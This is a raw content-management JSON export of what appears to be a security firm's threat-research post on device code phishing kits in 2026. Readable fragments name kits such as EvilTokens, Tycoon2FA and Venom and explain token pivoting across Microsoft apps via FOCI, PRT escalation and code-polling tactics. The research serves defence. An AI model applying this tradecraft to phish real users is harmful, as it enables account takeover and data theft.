"data":64769,"marks":64770,"value":9319,"nodeType":865},{},[64771],{"type":926},{"data":64773,"content":64774,"nodeType":2366},{},[64775],{"data":64776,"content":64777,"nodeType":866},{},[64778],{"data":64779,"marks":64780,"value":10929,"nodeType":865},{},[],{"data":64782,"content":64785,"nodeType":912},{"target":64783},{"sys":64784},{"id":10934,"type":909,"linkType":910},[],{"data":64787,"content":64788,"nodeType":972},{},[],{"data":64790,"content":64791,"nodeType":981},{},[64792],{"data":64793,"marks":64794,"value":10946,"nodeType":865},{},[64795],{"type":926},{"data":64797,"content":64798,"nodeType":866},{},[64799,64802],{"data":64800,"marks":64801,"value":10953,"nodeType":865},{},[],{"data":64803,"marks":64804,"value":10958,"nodeType":865},{},[64805],{"type":926},{"data":64807,"content":64808,"nodeType":866},{},[64809],{"data":64810,"marks":64811,"value":10965,"nodeType":865},{},[],{"data":64813,"content":64816,"nodeType":912},{"target":64814},{"sys":64815},{"id":10970,"type":909,"linkType":910},[],{"data":64818,"content":64821,"nodeType":912},{"target":64819},{"sys":64820},{"id":10976,"type":909,"linkType":910},[],{"data":64823,"content":64824,"nodeType":866},{},[64825],{"data":64826,"marks":64827,"value":10984,"nodeType":865},{},[],{"data":64829,"content":64830,"nodeType":866},{},[64831,64834,64838,64841],{"data":64832,"marks":64833,"value":10991,"nodeType":865},{},[],{"data":64835,"marks":64836,"value":10996,"nodeType":865},{},[64837],{"type":926},{"data":64839,"marks":64840,"value":11000,"nodeType":865},{},[],{"data":64842,"marks":64843,"value":11005,"nodeType":865},{},[64844],{"type":926},{"data":64846,"content":64847,"nodeType":866},{},[64848,64851,64855],{"data":64849,"marks":64850,"value":11012,"nodeType":865},{},[],{"data":64852,"marks":64853,"value":11017,"nodeType":865},{},[64854],{"type":926},{"data":64856,"marks":64857,"value":11021,"nodeType":865},{},[],{"data":64859,"content":64862,"nodeType":912},{"target":64860},{"sys":64861},{"id":11026,"type":909,"linkType":910},[],{"data":64864,"content":64865,"nodeType":972},{},[],{"data":64867,"content":64868,"nodeType":981},{},[64869],{"data":64870,"marks":64871,"value":11038,"nodeType":865},{},[64872],{"type":926},{"data":64874,"content":64875,"nodeType":1317},{},[64876],{"data":64877,"marks":64878,"value":11046,"nodeType":865},{},[64879],{"type":926},{"data":64881,"content":64882,"nodeType":866},{},[64883,64886,64890,64893],{"data":64884,"marks":64885,"value":11053,"nodeType":865},{},[],{"data":64887,"marks":64888,"value":11058,"nodeType":865},{},[64889],{"type":926},{"data":64891,"marks":64892,"value":11062,"nodeType":865},{},[],{"data":64894,"marks":64895,"value":11067,"nodeType":865},{},[64896],{"type":926},{"data":64898,"content":64899,"nodeType":866},{},[64900,64904,64907,64911],{"data":64901,"marks":64902,"value":11075,"nodeType":865},{},[64903],{"type":926},{"data":64905,"marks":64906,"value":11079,"nodeType":865},{},[],{"data":64908,"marks":64909,"value":11084,"nodeType":865},{},[64910],{"type":926},{"data":64912,"marks":64913,"value":11088,"nodeType":865},{},[],{"data":64915,"content":64918,"nodeType":912},{"target":64916},{"sys":64917},{"id":10022,"type":909,"linkType":910},[],{"data":64920,"content":64921,"nodeType":866},{},[64922],{"data":64923,"marks":64924,"value":11100,"nodeType":865},{},[],{"data":64926,"content":64927,"nodeType":866},{},[64928],{"data":64929,"marks":64930,"value":11107,"nodeType":865},{},[],{"data":64932,"content":64933,"nodeType":1317},{},[64934],{"data":64935,"marks":64936,"value":11115,"nodeType":865},{},[64937],{"type":926},{"data":64939,"content":64940,"nodeType":866},{},[64941],{"data":64942,"marks":64943,"value":11122,"nodeType":865},{},[],{"data":64945,"content":64946,"nodeType":866},{},[64947],{"data":64948,"marks":64949,"value":11129,"nodeType":865},{},[],{"data":64951,"content":64952,"nodeType":866},{},[64953],{"data":64954,"marks":64955,"value":11136,"nodeType":865},{},[],{"data":64957,"content":64958,"nodeType":1317},{},[64959],{"data":64960,"marks":64961,"value":11144,"nodeType":865},{},[64962],{"type":926},{"data":64964,"content":64965,"nodeType":866},{},[64966],{"data":64967,"marks":64968,"value":11151,"nodeType":865},{},[],{"data":64970,"content":64971,"nodeType":1616},{},[64972,64985,64998],{"data":64973,"content":64974,"nodeType":1570},{},[64975],{"data":64976,"content":64977,"nodeType":866},{},[64978,64982],{"data":64979,"marks":64980,"value":11165,"nodeType":865},{},[64981],{"type":926},{"data":64983,"marks":64984,"value":11169,"nodeType":865},{},[],{"data":64986,"content":64987,"nodeType":1570},{},[64988],{"data":64989,"content":64990,"nodeType":866},{},[64991,64995],{"data":64992,"marks":64993,"value":8641,"nodeType":865},{},[64994],{"type":926},{"data":64996,"marks":64997,"value":11183,"nodeType":865},{},[],{"data":64999,"content":65000,"nodeType":1570},{},[65001],{"data":65002,"content":65003,"nodeType":866},{},[65004,65007,65011],{"data":65005,"marks":65006,"value":11193,"nodeType":865},{},[],{"data":65008,"marks":65009,"value":11198,"nodeType":865},{},[65010],{"type":926},{"data":65012,"marks":65013,"value":11202,"nodeType":865},{},[],{"data":65015,"content":65018,"nodeType":912},{"target":65016},{"sys":65017},{"id":11207,"type":909,"linkType":910},[],{"data":65020,"content":65021,"nodeType":972},{},[],{"data":65023,"content":65024,"nodeType":981},{},[65025],{"data":65026,"marks":65027,"value":11219,"nodeType":865},{},[65028],{"type":926},{"data":65030,"content":65031,"nodeType":866},{},[65032],{"data":65033,"marks":65034,"value":11226,"nodeType":865},{},[],{"data":65036,"content":65037,"nodeType":866},{},[65038],{"data":65039,"marks":65040,"value":11233,"nodeType":865},{},[],{"data":65042,"content":65043,"nodeType":866},{},[65044,65047,65054,65057,65061,65064,65068,65071,65075],{"data":65045,"marks":65046,"value":11240,"nodeType":865},{},[],{"data":65048,"content":65049,"nodeType":889},{"uri":11243},[65050],{"data":65051,"marks":65052,"value":11249,"nodeType":865},{},[65053],{"type":943},{"data":65055,"marks":65056,"value":11253,"nodeType":865},{},[],{"data":65058,"marks":65059,"value":11258,"nodeType":865},{},[65060],{"type":926},{"data":65062,"marks":65063,"value":11262,"nodeType":865},{},[],{"data":65065,"marks":65066,"value":11267,"nodeType":865},{},[65067],{"type":926},{"data":65069,"marks":65070,"value":11271,"nodeType":865},{},[],{"data":65072,"marks":65073,"value":11276,"nodeType":865},{},[65074],{"type":926},{"data":65076,"marks":65077,"value":11280,"nodeType":865},{},[],{"data":65079,"content":65082,"nodeType":912},{"target":65080},{"sys":65081},{"id":11285,"type":909,"linkType":910},[],{"data":65084,"content":65085,"nodeType":866},{},[65086],{"data":65087,"marks":65088,"value":11293,"nodeType":865},{},[],{"data":65090,"content":65091,"nodeType":972},{},[],{"data":65093,"content":65094,"nodeType":981},{},[65095],{"data":65096,"marks":65097,"value":11304,"nodeType":865},{},[65098],{"type":926},{"data":65100,"content":65101,"nodeType":866},{},[65102],{"data":65103,"marks":65104,"value":11311,"nodeType":865},{},[],{"data":65106,"content":65107,"nodeType":866},{},[65108],{"data":65109,"marks":65110,"value":11318,"nodeType":865},{},[],{"data":65112,"content":65113,"nodeType":866},{},[65114,65117,65124],{"data":65115,"marks":65116,"value":11325,"nodeType":865},{},[],{"data":65118,"content":65119,"nodeType":889},{"uri":11328},[65120],{"data":65121,"marks":65122,"value":11334,"nodeType":865},{},[65123],{"type":943},{"data":65125,"marks":65126,"value":11338,"nodeType":865},{},[],{"data":65128,"content":65131,"nodeType":912},{"target":65129},{"sys":65130},{"id":11343,"type":909,"linkType":910},[],{"data":65133,"content":65134,"nodeType":866},{},[65135],{"data":65136,"marks":65137,"value":11351,"nodeType":865},{},[],{"data":65139,"content":65140,"nodeType":1317},{},[65141],{"data":65142,"marks":65143,"value":2270,"nodeType":865},{},[65144],{"type":926},{"data":65146,"content":65147,"nodeType":866},{},[65148],{"data":65149,"marks":65150,"value":11365,"nodeType":865},{},[],{"data":65152,"content":65153,"nodeType":866},{},[65154,65157,65164,65167,65174,65177,65184],{"data":65155,"marks":65156,"value":11372,"nodeType":865},{},[],{"data":65158,"content":65159,"nodeType":889},{"uri":11375},[65160],{"data":65161,"marks":65162,"value":11381,"nodeType":865},{},[65163],{"type":943},{"data":65165,"marks":65166,"value":2717,"nodeType":865},{},[],{"data":65168,"content":65169,"nodeType":889},{"uri":11387},[65170],{"data":65171,"marks":65172,"value":11393,"nodeType":865},{},[65173],{"type":943},{"data":65175,"marks":65176,"value":11397,"nodeType":865},{},[],{"data":65178,"content":65179,"nodeType":889},{"uri":1372},[65180],{"data":65181,"marks":65182,"value":11405,"nodeType":865},{},[65183],{"type":943},{"data":65185,"marks":65186,"value":1615,"nodeType":865},{},[],{"entries":65188},{"hyperlink":65189,"inline":65190,"block":65191},[],[],[65192,65211,65243,65250,65264,65305,65319,65347,65353,65360,65365,65372,65376,65382,65385,65391,65396,65402,65436,65442,65450,65454,65459,65465,65470,65484,65490,65498,65502,65516,65575,65581,65595,65655,65679],{"sys":65193,"__typename":5503,"content":65194,"name":65210,"title":59},{"id":8420},{"json":65195},{"data":65196,"content":65197,"nodeType":1382},{},[65198],{"data":65199,"content":65200,"nodeType":866},{},[65201,65206],{"data":65202,"marks":65203,"value":65205,"nodeType":865},{},[65204],{"type":926},"Update May 15:",{"data":65207,"marks":65208,"value":65209,"nodeType":865},{},[]," We've added details of three new kits, including proper samples of Venom, Tycoon2FA, and CYB3R, a new self-identifying kit — all from Push's customer detections. ","DCP IB 11",{"sys":65212,"__typename":5503,"content":65213,"name":65242,"title":59},{"id":8471},{"json":65214},{"nodeType":1382,"data":65215,"content":65216},{},[65217],{"nodeType":866,"data":65218,"content":65219},{},[65220,65224,65229,65233,65238],{"nodeType":865,"value":65221,"marks":65222,"data":65223},"At the start of March, we’d observed a ",[],{},{"nodeType":865,"value":65225,"marks":65226,"data":65228},"15x",[65227],{"type":926},{},{"nodeType":865,"value":65230,"marks":65231,"data":65232}," increase in device code phishing pages detected by our research team this year, with multiple kits and campaigns being tracked — with the kit now identified as EvilTokens the most prominent. ",[],{},{"nodeType":865,"value":65234,"marks":65235,"data":65237},"That figure has now risen to 37.5x",[65236],{"type":926},{},{"nodeType":865,"value":65239,"marks":65240,"data":65241},". More on that later. ",[],{},"DCP IB 1",{"sys":65244,"__typename":1390,"title":65245,"caption":65245,"layoutMode":59,"file":65246},{"id":8502},"Device code phishing evolution 2019-2026.",{"url":65247,"width":65248,"height":65249},"https://images.ctfassets.net/y1cdw1ablpvd/7dPjgH1qTrpBIdqE0D4D0g/8d0bcaea877a9fcd325b272890d8dc63/device_code_phishing_4col_timeline_1.png",1360,1160,{"sys":65251,"__typename":5503,"content":65252,"name":65263,"title":59},{"id":8612},{"json":65253},{"nodeType":1382,"data":65254,"content":65255},{},[65256],{"nodeType":866,"data":65257,"content":65258},{},[65259],{"nodeType":865,"value":65260,"marks":65261,"data":65262},"PhaaS is key to the adoption of new phishing tools and techniques, providing broad access to criminal operators at scale while driving up execution standards. It has been central to the continued evolution of AITM and ClickFix, and is a strong indicator of what comes next for device code phishing.",[],{},"DCP IB 2",{"sys":65265,"__typename":5503,"content":65266,"name":65304,"title":59},{"id":8741},{"json":65267},{"data":65268,"content":65269,"nodeType":1382},{},[65270],{"data":65271,"content":65272,"nodeType":866},{},[65273,65277,65284,65288,65292,65300],{"data":65274,"marks":65275,"value":65276,"nodeType":865},{},[],"We're seeing a clear trend of existing PhaaS kits adding device code phishing functionality. Tycoon2FA, the category leader for criminal AITM phishing capabilities, has recently",{"data":65278,"content":65279,"nodeType":889},{"uri":1951},[65280],{"data":65281,"marks":65282,"value":65283,"nodeType":865},{},[]," adopted device code phishing ",{"data":65285,"marks":65286,"value":65287,"nodeType":865},{},[],"alongside its established AiTM functionality (we've provided some examples below), while t",{"data":65289,"marks":65290,"value":65291,"nodeType":865},{},[],"he ",{"data":65293,"content":65295,"nodeType":889},{"uri":65294},"https://abnormal.ai/blog/venom-phishing-campaign-mfa-credential-theft",[65296],{"data":65297,"marks":65298,"value":10576,"nodeType":865},{},[65299],{"type":943},{"data":65301,"marks":65302,"value":65303,"nodeType":865},{},[]," kit that offers device code phishing capabilities that appear visually and functionally similar to EvilTokens has an AITM component that matches our detections for Sneaky2FA, indicating a possible overlap in tooling.","DCP IB12",{"sys":65306,"__typename":5503,"content":65307,"name":65318,"title":59},{"id":8765},{"json":65308},{"nodeType":1382,"data":65309,"content":65310},{},[65311],{"nodeType":866,"data":65312,"content":65313},{},[65314],{"nodeType":865,"value":65315,"marks":65316,"data":65317},"Many of the names provided are internal codenames. The information per kit is by no means exhaustive and is likely to evolve over time. ",[],{},"DCP IP 7",{"sys":65320,"__typename":5503,"content":65321,"name":65346,"title":59},{"id":8823},{"json":65322},{"nodeType":1382,"data":65323,"content":65324},{},[65325,65332,65339],{"nodeType":866,"data":65326,"content":65327},{},[65328],{"nodeType":865,"value":65329,"marks":65330,"data":65331},"Our codename for EvilTokens internally was derived from the overly descriptive page code describing its bot protection capabilities (a clear sign of vibe coding — thanks Claude!):",[],{},{"nodeType":866,"data":65333,"content":65334},{},[65335],{"nodeType":865,"value":65336,"marks":65337,"data":65338},"\u003C!-- FIXED ANTI-BOT SYSTEM - WON'T REDIRECT REAL USERS -->",[],{},{"nodeType":866,"data":65340,"content":65341},{},[65342],{"nodeType":865,"value":65343,"marks":65344,"data":65345},"\u003C!-- ENHANCED ANTI-BOT SYSTEM WITH SERVER-SIDE VALIDATION -->",[],{},"DCP IB3",{"sys":65348,"__typename":1390,"title":65349,"caption":65349,"layoutMode":59,"file":65350},{"id":8877},"Precursor A (Left) & B (Right): Different visual lures from January 2026. ",{"url":65351,"width":1402,"height":65352},"https://images.ctfassets.net/y1cdw1ablpvd/3pfFR7ICQQqOyhGAFAj67C/6f8873d82cc7f5233a0ca9baa74f7585/image15.png",773,{"sys":65354,"__typename":1390,"title":65355,"caption":65356,"layoutMode":59,"file":65357},{"id":8883},"Early ANTIBOT: First appearance of the ANTIBOT comments, mid-Jan.","Early ANTIBOT: First appearance of the ANTIBOT comments, late-Jan.",{"url":65358,"width":1402,"height":65359},"https://images.ctfassets.net/y1cdw1ablpvd/VAdFlnCF4YftsOV02wnwu/8813ea3957b65ddfb84bb8ba5fb25a55/image6.png",564,{"sys":65361,"__typename":52243,"title":65362,"arcadeDemoUrl":65363,"playText":65364},{"id":8889},"Early ANTIBOT page load","https://demo.arcade.software/wRcvXg62Lok57ZjOKgJI?embed","20 secs",{"sys":65366,"__typename":1390,"title":65367,"caption":65367,"layoutMode":59,"file":65368},{"id":8895},"\"Courts Access\" lure with a similar security verification to Early ANTIBOT.",{"url":65369,"width":65370,"height":65371},"https://images.ctfassets.net/y1cdw1ablpvd/7LEJpoif8dnub4qJw2z6kL/3b15161c9d3f2e4f7d4f323ec04f1f33/Group_687.png",3103,1200,{"sys":65373,"__typename":52243,"title":65374,"arcadeDemoUrl":65375,"playText":59377},{"id":8901},"ANTIBOT \"Courts Access\" lure","https://demo.arcade.software/8b4YuKm1EXPmgx2q7q2D?embed",{"sys":65377,"__typename":1390,"title":65378,"caption":65378,"layoutMode":59,"file":65379},{"id":8907},"Production ANTIBOT: Current EvilTokens implementation.",{"url":65380,"width":1402,"height":65381},"https://images.ctfassets.net/y1cdw1ablpvd/1J3fOSmUPF8f3FlcwYFoGe/5eff8c1a892f870d1488d6a0f38da03c/image12.png",591,{"sys":65383,"__typename":52243,"title":8603,"arcadeDemoUrl":65384,"playText":65364},{"id":8913},"https://demo.arcade.software/zB6dqehj1lbnB2dur9lB?embed",{"sys":65386,"__typename":1390,"title":65387,"caption":65387,"layoutMode":59,"file":65388},{"id":9334},"SHAREFILE kit.",{"url":65389,"width":1402,"height":65390},"https://images.ctfassets.net/y1cdw1ablpvd/1iKelffs399PIIBedgnqmu/64a40d1ad7f69f966665f44c52e0817b/image1.png",1500,{"sys":65392,"__typename":52243,"title":65393,"arcadeDemoUrl":65394,"playText":65395},{"id":9525},"Kali365 / Clure Demo","https://demo.arcade.software/dwwFeSKGldZvTrYZDtZV?embed","30 secs",{"sys":65397,"__typename":1390,"title":65398,"caption":59,"layoutMode":59,"file":65399},{"id":9689},"LINKID landing page requires an email before serving the payload.",{"url":65400,"width":1402,"height":65401},"https://images.ctfassets.net/y1cdw1ablpvd/5XAibmWt8HDGbpOC9n1DEk/d4bcb1006d82116dff5865f5b911bc88/image9.png",1049,{"sys":65403,"__typename":5503,"content":65404,"name":65435,"title":59},{"id":9706},{"json":65405},{"nodeType":1382,"data":65406,"content":65407},{},[65408],{"nodeType":866,"data":65409,"content":65410},{},[65411,65415,65420,65424,65432],{"nodeType":865,"value":65412,"marks":65413,"data":65414},"AUTHOV was recently attributed to ",[],{},{"nodeType":865,"value":65416,"marks":65417,"data":65419},"Device Code Lab",[65418],{"type":926},{},{"nodeType":865,"value":65421,"marks":65422,"data":65423},", a professional grade, device code phishing platform, with numerous defense evasion and post-exploitation features, designed to interoperate with other phishing platforms. You can ",[],{},{"nodeType":889,"data":65425,"content":65427},{"uri":65426},"https://newtonpaul.com/blog/device-code-lab-post-exploit/",[65428],{"nodeType":865,"value":65429,"marks":65430,"data":65431},"read Paul Newton's write-up here",[],{},{"nodeType":865,"value":6719,"marks":65433,"data":65434},[],{},"dcp ib14",{"sys":65437,"__typename":1390,"title":65438,"caption":65438,"layoutMode":59,"file":65439},{"id":9852},"AUTHOV kit. Notably uses a popup like prod EvilTokens.",{"url":65440,"width":1402,"height":65441},"https://images.ctfassets.net/y1cdw1ablpvd/4wKaHuSRfMXvi056r88u0b/e77feca260fe5ceb07ea7a080a09148f/image8.png",1128,{"sys":65443,"__typename":1390,"title":65444,"caption":65445,"layoutMode":59,"file":65446},{"id":9858},"Device code lab portal","Device Code Lab portal login page. Credit: Paul Newton",{"url":65447,"width":65448,"height":65449},"https://images.ctfassets.net/y1cdw1ablpvd/3qgmWJFz6hDUSEu2TcUWWU/9df13412c9ddb216020ae7a5fe476b5d/portal.png",912,787,{"sys":65451,"__typename":52243,"title":65452,"arcadeDemoUrl":65453,"playText":65364},{"id":10022},"DOCUPOLL DCP Kit","https://demo.arcade.software/Wv84a7Vziha9RwTdctvg?embed",{"sys":65455,"__typename":1390,"title":65456,"caption":65456,"layoutMode":59,"file":65457},{"id":10185},"FLOW_TOKEN kit. Notably uses a popup like prod EvilTokens.",{"url":65458,"width":1402,"height":65441},"https://images.ctfassets.net/y1cdw1ablpvd/4Bvbx5dwwBTOvAzULbnhIF/2d676145af0648b1e6f43b624af3ffbc/image7.png",{"sys":65460,"__typename":1390,"title":65461,"caption":65461,"layoutMode":59,"file":65462},{"id":10297},"PAPRIKA kit.",{"url":65463,"width":1402,"height":65464},"https://images.ctfassets.net/y1cdw1ablpvd/2XqwbTyGXRBaH6OM0t9moI/107cd701784fe8eed96eea2b9c09731a/image5.png",727,{"sys":65466,"__typename":1390,"title":65467,"caption":65467,"layoutMode":59,"file":65468},{"id":10408},"DCSTATUS kit. ",{"url":65469,"width":1402,"height":65390},"https://images.ctfassets.net/y1cdw1ablpvd/1zKQp6Wi0ckDZMLHBriU2Y/7d1c7c348407dcbde2eb94551baca7f5/image14.png",{"sys":65471,"__typename":5503,"content":65472,"name":65483,"title":59},{"id":10425},{"json":65473},{"data":65474,"content":65475,"nodeType":1382},{},[65476],{"data":65477,"content":65478,"nodeType":866},{},[65479],{"data":65480,"marks":65481,"value":65482,"nodeType":865},{},[],"Our suspicion is that this was a one-off — potentially for a red team exercise — rather than representative of a more widely used kit.","DCP IB 4",{"sys":65485,"__typename":1390,"title":65486,"caption":65486,"layoutMode":59,"file":65487},{"id":10564},"DOLCE kit.",{"url":65488,"width":1402,"height":65489},"https://images.ctfassets.net/y1cdw1ablpvd/6iUfj8vMymi2c7lZxj006n/88b8066e6bea9fa7a81bd6b546264796/image16.png",728,{"sys":65491,"__typename":1390,"title":65492,"caption":65493,"layoutMode":59,"file":65494},{"id":10630},"Venom Device Code Phishing Screenshots","Examples of the Venom platform impersonating brands like YPO, FedEx and DHL.",{"url":65495,"width":65496,"height":65497},"https://images.ctfassets.net/y1cdw1ablpvd/2NThjmQSR5XFdnKEQKXfnd/237318895da6f558cc03b2915217afea/Venom_Device_Code_Phishing__1_.png",13114,3310,{"sys":65499,"__typename":52243,"title":65500,"arcadeDemoUrl":65501,"playText":65395},{"id":7334},"Tycoon2FA Device Code Phishing","https://demo.arcade.software/SPNMxNkoyY5vTMPPlqWS?embed",{"sys":65503,"__typename":5503,"content":65504,"name":65515,"title":59},{"id":10934},{"json":65505},{"nodeType":1382,"data":65506,"content":65507},{},[65508],{"nodeType":866,"data":65509,"content":65510},{},[65511],{"nodeType":865,"value":65512,"marks":65513,"data":65514},"Clearly, device code phishing has entered mainstream adoption and we should be prepared for a lot more of it in future. So how does it work, and why is it so effective?",[],{},"DCP IB13",{"sys":65517,"__typename":5503,"content":65518,"name":65574,"title":59},{"id":10970},{"json":65519},{"nodeType":1382,"data":65520,"content":65521},{},[65522,65558],{"nodeType":866,"data":65523,"content":65524},{},[65525,65529,65536,65540,65545,65549,65554],{"nodeType":865,"value":65526,"marks":65527,"data":65528},"When targeting Microsoft environments, attackers can use the ",[],{},{"nodeType":889,"data":65530,"content":65531},{"uri":8539},[65532],{"nodeType":865,"value":65533,"marks":65534,"data":65535},"PRT escalation technique",[],{},{"nodeType":865,"value":65537,"marks":65538,"data":65539}," I mentioned in earlier research to get seamless SSO across ",[],{},{"nodeType":865,"value":65541,"marks":65542,"data":65544},"all",[65543],{"type":898},{},{"nodeType":865,"value":65546,"marks":65547,"data":65548}," Entra ID-connected applications and web services. This requires that you specifically target the ",[],{},{"nodeType":865,"value":65550,"marks":65551,"data":65553},"Microsoft Authentication Broker",[65552],{"type":926},{},{"nodeType":865,"value":65555,"marks":65556,"data":65557}," application, chained into a new device registration in the victim's environment. This is the method that Storm-2372 was leveraging in 2025. ",[],{},{"nodeType":866,"data":65559,"content":65560},{},[65561,65565,65570],{"nodeType":865,"value":65562,"marks":65563,"data":65564},"But even without this step, many Microsoft first-party apps also belong to the ",[],{},{"nodeType":865,"value":65566,"marks":65567,"data":65569},"Family of Client IDs (FOCI)",[65568],{"type":926},{},{"nodeType":865,"value":65571,"marks":65572,"data":65573},", meaning a refresh token obtained for one family member can be exchanged for access tokens to other family members without re-authentication. In practice, this means an attacker who phishes a token via e.g. the Microsoft Office client ID, can silently pivot to access Outlook, Teams, OneDrive, SharePoint, and Azure Management APIs — all from a single phished session. ",[],{},"DCP IB 8",{"sys":65576,"__typename":1390,"title":65577,"caption":65577,"layoutMode":59,"file":65578},{"id":10976},"Device code phishing attack chain.",{"url":65579,"width":1402,"height":65580},"https://images.ctfassets.net/y1cdw1ablpvd/60e9ErrL8tp3xtoer4gNUl/83899c207f61fdd9ff8aad0e1001030d/image2.png",1275,{"sys":65582,"__typename":5503,"content":65583,"name":65594,"title":59},{"id":11026},{"json":65584},{"nodeType":1382,"data":65585,"content":65586},{},[65587],{"nodeType":866,"data":65588,"content":65589},{},[65590],{"nodeType":865,"value":65591,"marks":65592,"data":65593},"One of the key limitations of early device code phishing was that the code was being sent directly over email (as in the Russia-linked campaigns in 2024-5). This meant that the code would expire unless used immediately, requiring highly engaged social engineering to pull off. To get around this, modern device code phishing pages are continuously polling for fresh codes via API. This arguably makes them more discoverable than simply providing the code and instructions in a direct message, but is way more scalable for the attacker. ",[],{},"DCP IB 5",{"sys":65596,"__typename":5503,"content":65597,"name":65654,"title":59},{"id":11207},{"json":65598},{"nodeType":1382,"data":65599,"content":65600},{},[65601,65638],{"nodeType":866,"data":65602,"content":65603},{},[65604,65609,65613,65623,65627,65634],{"nodeType":865,"value":65605,"marks":65606,"data":65608},"First-party applications",[65607],{"type":926},{},{"nodeType":865,"value":65610,"marks":65611,"data":65612}," are commonly abused in Microsoft-targeted attacks. These are ",[],{},{"nodeType":889,"data":65614,"content":65616},{"uri":65615},"https://gist.github.com/dafthack/2c0bbcac72b10c1ee205d1dd2fed3fe7",[65617],{"nodeType":865,"value":65618,"marks":65619,"data":65622},"real Microsoft applications",[65620,65621],{"type":943},{"type":926},{},{"nodeType":865,"value":65624,"marks":65625,"data":65626}," registered in every Entra ID tenant. Not only are they allowed by default (unlike third-party apps that are often subject to additional restrictions and require additional tenant-level consent before they can be accessed by a user), they come with pre-consented permissions, and can even access undocumented “legacy” scopes that aren't logged by default (exploited in the Russia-linked ",[],{},{"nodeType":889,"data":65628,"content":65629},{"uri":7472},[65630],{"nodeType":865,"value":7465,"marks":65631,"data":65633},[65632],{"type":943},{},{"nodeType":865,"value":65635,"marks":65636,"data":65637}," campaign reported by Push researchers). ",[],{},{"nodeType":866,"data":65639,"content":65640},{},[65641,65645,65650],{"nodeType":865,"value":65642,"marks":65643,"data":65644},"In other cases, such as when targeting GitHub or Salesforce, ",[],{},{"nodeType":865,"value":65646,"marks":65647,"data":65649},"third-party applications",[65648],{"type":926},{},{"nodeType":865,"value":65651,"marks":65652,"data":65653}," are often leveraged. These aren't necessarily fresh, attacker-created apps — they can be attacker-controlled instances of otherwise legitimate applications. That said, it is easier than ever for attackers to spin up their own OAuth apps, particularly using AI tools. The trade-off is that the victim has to consent to the app from the tenant level before also granting access to their account, introducing more friction to the process, and potentially running into additional security controls and restrictions depending on tenant configuration. ",[],{},"DCP IB 6",{"sys":65656,"__typename":5503,"content":65657,"name":65678,"title":59},{"id":11285},{"json":65658},{"nodeType":1382,"data":65659,"content":65660},{},[65661],{"nodeType":866,"data":65662,"content":65663},{},[65664,65668,65674],{"nodeType":865,"value":65665,"marks":65666,"data":65667},"However, it's important to recognize that blocking device code flow is not a complete solution. Related techniques like ",[],{},{"nodeType":889,"data":65669,"content":65670},{"uri":7472},[65671],{"nodeType":865,"value":7465,"marks":65672,"data":65673},[],{},{"nodeType":865,"value":65675,"marks":65676,"data":65677}," — which exploits the authorization code flow with localhost redirects rather than the device code flow — produce the same access tokens with the same capabilities but are not blocked by device code flow specific CA policies. ",[],{},"DCP IB 7",{"sys":65680,"__typename":1390,"title":65681,"caption":65682,"layoutMode":59,"file":65683},{"id":11343},"DCP warning banner","Users visiting a device code login page will be required to click through a warning banner, emitting a webhook event.",{"url":65684,"width":65685,"height":65686},"https://images.ctfassets.net/y1cdw1ablpvd/2Gtct2qofWtLLVi31Pk8NY/616e56fc4fa7dcb905a0a3a1ca28709b/image17.png",1367,859,{"items":65688},[],{},"Analyzing the rise in device code phishing attacks in 2026",{"items":65692},[65693,66521,67379],{"__typename":1429,"sys":65694,"content":65695,"title":53891,"synopsis":53892,"hashTags":59,"publishedDate":53893,"slug":53894,"tagsCollection":66511,"authorsCollection":66517},{"id":52948},{"json":65696},{"data":65697,"content":65698,"nodeType":1382},{},[65699,65705,65711,65717,65720,65727,65733,65739,65744,65750,65755,65771,65777,65787,65790,65797,65803,65816,65822,65832,65837,65840,65847,65854,65859,65867,65883,65891,65897,65905,65920,65928,65934,65942,65968,65976,65982,65990,66006,66011,66019,66025,66033,66066,66069,66076,66084,66100,66108,66114,66122,66148,66153,66161,66167,66172,66175,66182,66190,66196,66247,66252,66255,66262,66270,66276,66281,66284,66291,66297,66303,66363,66369,66424,66430,66433,66440,66446,66452,66457,66460,66467,66473,66479,66485],{"data":65700,"content":65701,"nodeType":866},{},[65702],{"data":65703,"marks":65704,"value":52959,"nodeType":865},{},[],{"data":65706,"content":65707,"nodeType":866},{},[65708],{"data":65709,"marks":65710,"value":52966,"nodeType":865},{},[],{"data":65712,"content":65713,"nodeType":866},{},[65714],{"data":65715,"marks":65716,"value":52973,"nodeType":865},{},[],{"data":65718,"content":65719,"nodeType":972},{},[],{"data":65721,"content":65722,"nodeType":981},{},[65723],{"data":65724,"marks":65725,"value":52984,"nodeType":865},{},[65726],{"type":926},{"data":65728,"content":65729,"nodeType":866},{},[65730],{"data":65731,"marks":65732,"value":52991,"nodeType":865},{},[],{"data":65734,"content":65735,"nodeType":866},{},[65736],{"data":65737,"marks":65738,"value":52998,"nodeType":865},{},[],{"data":65740,"content":65743,"nodeType":912},{"target":65741},{"sys":65742},{"id":53003,"type":909,"linkType":910},[],{"data":65745,"content":65746,"nodeType":866},{},[65747],{"data":65748,"marks":65749,"value":53011,"nodeType":865},{},[],{"data":65751,"content":65754,"nodeType":912},{"target":65752},{"sys":65753},{"id":53016,"type":909,"linkType":910},[],{"data":65756,"content":65757,"nodeType":866},{},[65758,65761,65768],{"data":65759,"marks":65760,"value":53024,"nodeType":865},{},[],{"data":65762,"content":65763,"nodeType":889},{"uri":15501},[65764],{"data":65765,"marks":65766,"value":53032,"nodeType":865},{},[65767],{"type":943},{"data":65769,"marks":65770,"value":53036,"nodeType":865},{},[],{"data":65772,"content":65773,"nodeType":866},{},[65774],{"data":65775,"marks":65776,"value":53043,"nodeType":865},{},[],{"data":65778,"content":65779,"nodeType":866},{},[65780,65783],{"data":65781,"marks":65782,"value":53050,"nodeType":865},{},[],{"data":65784,"marks":65785,"value":53055,"nodeType":865},{},[65786],{"type":926},{"data":65788,"content":65789,"nodeType":972},{},[],{"data":65791,"content":65792,"nodeType":981},{},[65793],{"data":65794,"marks":65795,"value":53066,"nodeType":865},{},[65796],{"type":926},{"data":65798,"content":65799,"nodeType":866},{},[65800],{"data":65801,"marks":65802,"value":53073,"nodeType":865},{},[],{"data":65804,"content":65805,"nodeType":866},{},[65806,65809,65813],{"data":65807,"marks":65808,"value":53080,"nodeType":865},{},[],{"data":65810,"marks":65811,"value":53085,"nodeType":865},{},[65812],{"type":926},{"data":65814,"marks":65815,"value":53089,"nodeType":865},{},[],{"data":65817,"content":65818,"nodeType":866},{},[65819],{"data":65820,"marks":65821,"value":53096,"nodeType":865},{},[],{"data":65823,"content":65824,"nodeType":866},{},[65825,65828],{"data":65826,"marks":65827,"value":53103,"nodeType":865},{},[],{"data":65829,"marks":65830,"value":53108,"nodeType":865},{},[65831